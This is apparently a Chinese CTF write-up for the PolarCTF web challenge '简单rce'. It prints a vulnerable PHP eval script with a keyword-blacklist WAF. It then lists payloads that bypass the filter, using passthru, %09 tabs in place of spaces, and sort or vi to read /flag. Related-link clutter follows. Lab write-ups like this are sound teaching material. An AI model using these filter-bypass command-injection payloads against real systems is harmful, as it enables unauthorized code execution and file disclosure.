当前位置: 首页 > news >正文

polarctf-web-[简单rce]

考点:

(1)RCE(eval函数)

(2)执行函数(passthru函数)

(3)/顶级(根)目录查看

(4)sort排序查看函数

题目来源:Polarctf-web-[简单rce]

解题:

代码审计

 <?php/*​PolarD&N CTF​*/highlight_file(__FILE__);function no($txt){  # WAF:检测$txt是否匹配这些命令,如果不匹配则返回$txt(即执行)if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){return $txt;}else{die("what's up");}}$yyds=($_POST['yyds']);if(isset($_GET['sys'])&&$yyds=='666'){  # 要求get传参sys,post传参yyds=666,满足则执行no($_GET['sys']eval(no($_GET['sys']));}else{echo "nonono";}?> nonono

分析结果:post传参yyds=666,get传参sys,如果传递的sys绕过了WAF,则执行sys命令,可利用sys传参实现任意代码执行

由于未过滤执行函数passthru(),故可以利用该函数实现任意代码执行

(1)sys=passthru('ls');

查看当前路径下有什么文件,仅有一个index.php文件

(2)sys=passthru('sort%09index.php');

  • sort:Linux 系统命令,用于对文件内容排序并输出内容。

  • %09:URL 编码的 水平制表符(\t,在 Shell 中相当于空格。

查看index.php文件,该文件即为初始显示的前端页面,无利用点

(3)sys=passthru('ls%09/');

查看顶级目录(根目录)下有什么文件

看到存在可疑文件flag

(4)sys=passthru('sort%09/flag');

排序并输出flag文件

(5)也可以使用sys=passthru('vi%09/flag');

相关文章:

  • 端侧智能重构智能监控新路径 | 2025 高通边缘智能创新应用大赛第三场公开课来袭!
  • point3d 视野朝向设置
  • Python训练营打卡——DAY24(2025.5.13)
  • MySQL历史版本下载及安装配置教程
  • 【认知思维】验证性偏差:认知陷阱的识别与克服
  • 分布式任务调度XXL-Job
  • Houdini安装SideFX Labs工具架
  • 【Linux】简单设计libc库
  • python3:文件与异常
  • 武汉芯源半导体CW32L010在两轮车仪表的应用介绍
  • 从0到1上手Kafka:开启分布式消息处理之旅
  • Samtec Demo前沿 | 实时毫米波数据链路演示
  • 技术并不能产生一个好的产品
  • ETL背景介绍_1:数据孤岛仓库的介绍
  • 浅论3DGS溅射模型在VR眼镜上的应用
  • hivesql是什么数据库?
  • MySQL的Docker版本,部署在ubantu系统
  • 七、深入 Hive DDL:管理表、分区与洞察元数据
  • 自我奖励语言模型:突破人类反馈瓶颈
  • 智源联合南开大学开源Chinese-LiPS中文多模态语音识别数据集
  • 习近平致电祝贺阿尔巴尼斯当选连任澳大利亚总理
  • 老人将房产遗赠给外孙,三个女儿却认为遗嘱应无效,法院判了
  • 何谓“战略稳定”:“长和平”的实现基础与机制
  • 教育部基础教育教指委:稳步推进中小学人工智能通识教育
  • 宁德时代港股募资预计最高至50亿美元:90%将投向匈牙利项目
  • 伊美第四轮核问题谈判开始